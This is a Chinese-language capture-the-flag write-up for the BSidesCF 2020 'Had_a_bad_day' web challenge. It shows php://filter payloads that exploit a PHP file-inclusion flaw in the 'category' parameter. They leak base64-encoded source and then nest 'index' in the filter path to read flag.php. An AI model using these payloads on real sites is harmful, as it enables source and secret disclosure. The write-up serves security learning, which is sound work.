[BSidesCF_2020]Had_a_bad_day

WP

可以说，这个题目就是教学题目，虽然我不会

这里考查php伪协议嵌套

跨进题目的大门就要找到注入点，这里在看到url的形式后联想/尝试文件包含，我完全没有往这里想，反而鬼畜的想到了模板注入，

而且差点忘了直接访问flag.php确定flag值位置，习惯太糟糕了

在选择按钮后URL为

http://d4a987de-9150-4004-9493-9173f710ba17.node3.buuoj.cn/index.php?category=woofers

http://d4a987de-9150-4004-9493-9173f710ba17.node3.buuoj.cn/index.php?category=meowers

经验少（没有经验）的我看这里很难确定是文件包含，积累了。

尝试payload

category=file:///var/www/html/index.php

用file://伪协议是我探路的习惯

有错误回显：

Warning: include(file:///var/www/html/index.php.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37

Warning: include(): Failed opening 'file:///var/www/html/index.php.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37

很高兴这里没有过滤关键字，看来源代码里会在参数后自动拼接.php

修改payload

category=file:///var/www/html/index

成功回显index.php页面（整个页面十分鬼畜，毕竟套娃了），现在修改payload，使源码回显

category=php://filter/convert.base64-encode/resource=index

真友好，没有过滤关键字，源码回显

PGh0bWw+CiAgPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IkltYWdlcyB0aGF0IHNwYXJrIGpveSI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCwgbWluaW11bS1zY2FsZT0xLjAiPgogICAgPHRpdGxlPkhhZCBhIGJhZCBkYXk/PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iY3NzL21hdGVyaWFsLm1pbi5jc3MiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJjc3Mvc3R5bGUuY3NzIj4KICA8L2hlYWQ+CiAgPGJvZHk+CiAgICA8ZGl2IGNsYXNzPSJwYWdlLWxheW91dCBtZGwtbGF5b3V0IG1kbC1sYXlvdXQtLWZpeGVkLWhlYWRlciBtZGwtanMtbGF5b3V0IG1kbC1jb2xvci0tZ3JleS0xMDAiPgogICAgICA8aGVhZGVyIGNsYXNzPSJwYWdlLWhlYWRlciBtZGwtbGF5b3V0X19oZWFkZXIgbWRsLWxheW91dF9faGVhZGVyLS1zY3JvbGwgbWRsLWNvbG9yLS1ncmV5LTEwMCBtZGwtY29sb3ItdGV4dC0tZ3JleS04MDAiPgogICAgICAgIDxkaXYgY2xhc3M9Im1kbC1sYXlvdXRfX2hlYWRlci1yb3ciPgogICAgICAgICAgPHNwYW4gY2xhc3M9Im1kbC1sYXlvdXQtdGl0bGUiPkhhZCBhIGJhZCBkYXk/PC9zcGFuPgogICAgICAgICAgPGRpdiBjbGFzcz0ibWRsLWxheW91dC1zcGFjZXIiPjwvZGl2PgogICAgICAgIDxkaXY+CiAgICAgIDwvaGVhZGVyPgogICAgICA8ZGl2IGNsYXNzPSJwYWdlLXJpYmJvbiI+PC9kaXY+CiAgICAgIDxtYWluIGNsYXNzPSJwYWdlLW1haW4gbWRsLWxheW91dF9fY29udGVudCI+CiAgICAgICAgPGRpdiBjbGFzcz0icGFnZS1jb250YWluZXIgbWRsLWdyaWQiPgogICAgICAgICAgPGRpdiBjbGFzcz0ibWRsLWNlbGwgbWRsLWNlbGwtLTItY29sIG1kbC1jZWxsLS1oaWRlLXRhYmxldCBtZGwtY2VsbC0taGlkZS1waG9uZSI+PC9kaXY+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLWNvbnRlbnQgbWRsLWNvbG9yLS13aGl0ZSBtZGwtc2hhZG93LS00ZHAgY29udGVudCBtZGwtY29sb3ItdGV4dC0tZ3JleS04MDAgbWRsLWNlbGwgbWRsLWNlbGwtLTgtY29sIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icGFnZS1jcnVtYnMgbWRsLWNvbG9yLXRleHQtLWdyZXktNTAwIj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxoMz5DaGVlciB1cCE8L2gzPgogICAgICAgICAgICAgIDxwPgogICAgICAgICAgICAgICAgRGlkIHlvdSBoYXZlIGEgYmFkIGRheT8gRGlkIHRoaW5ncyBub3QgZ28geW91ciB3YXkgdG9kYXk/IEFyZSB5b3UgZmVlbGluZyBkb3duPyBQaWNrIGFuIG9wdGlvbiBhbmQgbGV0IHRoZSBhZG9yYWJsZSBpbWFnZXMgY2hlZXIgeW91IHVwIQogICAgICAgICAgICAgIDwvcD4KICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLWluY2x1ZGUiPgogICAgICAgICAgICAgIDw/cGhwCgkJCQkkZmlsZSA9ICRfR0VUWydjYXRlZ29yeSddOwoKCQkJCWlmKGlzc2V0KCRmaWxlKSkKCQkJCXsKCQkJCQlpZiggc3RycG9zKCAkZmlsZSwgIndvb2ZlcnMiICkgIT09ICBmYWxzZSB8fCBzdHJwb3MoICRmaWxlLCAibWVvd2VycyIgKSAhPT0gIGZhbHNlIHx8IHN0cnBvcyggJGZpbGUsICJpbmRleCIpKXsKCQkJCQkJaW5jbHVkZSAoJGZpbGUgLiAnLnBocCcpOwoJCQkJCX0KCQkJCQllbHNlewoJCQkJCQllY2hvICJTb3JyeSwgd2UgY3VycmVudGx5IG9ubHkgc3VwcG9ydCB3b29mZXJzIGFuZCBtZW93ZXJzLiI7CgkJCQkJfQoJCQkJfQoJCQkJPz4KCQkJPC9kaXY+CiAgICAgICAgICA8Zm9ybSBhY3Rpb249ImluZGV4LnBocCIgbWV0aG9kPSJnZXQiIGlkPSJjaG9pY2UiPgogICAgICAgICAgICAgIDxjZW50ZXI+PGJ1dHRvbiBvbmNsaWNrPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY2hvaWNlJykuc3VibWl0KCk7IiBuYW1lPSJjYXRlZ29yeSIgdmFsdWU9Indvb2ZlcnMiIGNsYXNzPSJtZGwtYnV0dG9uIG1kbC1idXR0b24tLWNvbG9yZWQgbWRsLWJ1dHRvbi0tcmFpc2VkIG1kbC1qcy1idXR0b24gbWRsLWpzLXJpcHBsZS1lZmZlY3QiIGRhdGEtdXBncmFkZWQ9IixNYXRlcmlhbEJ1dHRvbixNYXRlcmlhbFJpcHBsZSI+V29vZmVyczxzcGFuIGNsYXNzPSJtZGwtYnV0dG9uX19yaXBwbGUtY29udGFpbmVyIj48c3BhbiBjbGFzcz0ibWRsLXJpcHBsZSBpcy1hbmltYXRpbmciIHN0eWxlPSJ3aWR0aDogMTg5LjM1NnB4OyBoZWlnaHQ6IDE4OS4zNTZweDsgdHJhbnNmb3JtOiB0cmFuc2xhdGUoLTUwJSwgLTUwJSkgdHJhbnNsYXRlKDMxcHgsIDI1cHgpOyI+PC9zcGFuPjwvc3Bhbj48L2J1dHRvbj4KICAgICAgICAgICAgICA8YnV0dG9uIG9uY2xpY2s9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjaG9pY2UnKS5zdWJtaXQoKTsiIG5hbWU9ImNhdGVnb3J5IiB2YWx1ZT0ibWVvd2VycyIgY2xhc3M9Im1kbC1idXR0b24gbWRsLWJ1dHRvbi0tY29sb3JlZCBtZGwtYnV0dG9uLS1yYWlzZWQgbWRsLWpzLWJ1dHRvbiBtZGwtanMtcmlwcGxlLWVmZmVjdCIgZGF0YS11cGdyYWRlZD0iLE1hdGVyaWFsQnV0dG9uLE1hdGVyaWFsUmlwcGxlIj5NZW93ZXJzPHNwYW4gY2xhc3M9Im1kbC1idXR0b25fX3JpcHBsZS1jb250YWluZXIiPjxzcGFuIGNsYXNzPSJtZGwtcmlwcGxlIGlzLWFuaW1hdGluZyIgc3R5bGU9IndpZHRoOiAxODkuMzU2cHg7IGhlaWdodDogMTg5LjM1NnB4OyB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtNTAlLCAtNTAlKSB0cmFuc2xhdGUoMzFweCwgMjVweCk7Ij48L3NwYW4+PC9zcGFuPjwvYnV0dG9uPjwvY2VudGVyPgogICAgICAgICAgPC9mb3JtPgoKICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICA8L21haW4+CiAgICA8L2Rpdj4KICAgIDxzY3JpcHQgc3JjPSJqcy9tYXRlcmlhbC5taW4uanMiPjwvc2NyaXB0PgogIDwvYm9keT4KPC9odG1sPg==

base64解码，摘出php片段

<?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

strpos() 函数返回字符串在另一字符串中第一次出现的位置。如果存在，返回数字，如果没有找到该字符串，则返回false，且在默认情况下从左起，第0位开始

这里判定的要求是要么有woofers，要么有meowers，要么有index且index不在字符串开头

终于到考点了，php伪协议嵌套

payload

category=php://filter/convert.base64-encode/index/resource=flag

这里index被认为是键名，由于php://filter伪协议参数中没有该键名，报错，跳过，继续执行resource的参数

（这是我个人的理解，不对的话，请告诉我）

查了资料php://filter姿势不少，之后学习学习，补一补脑子。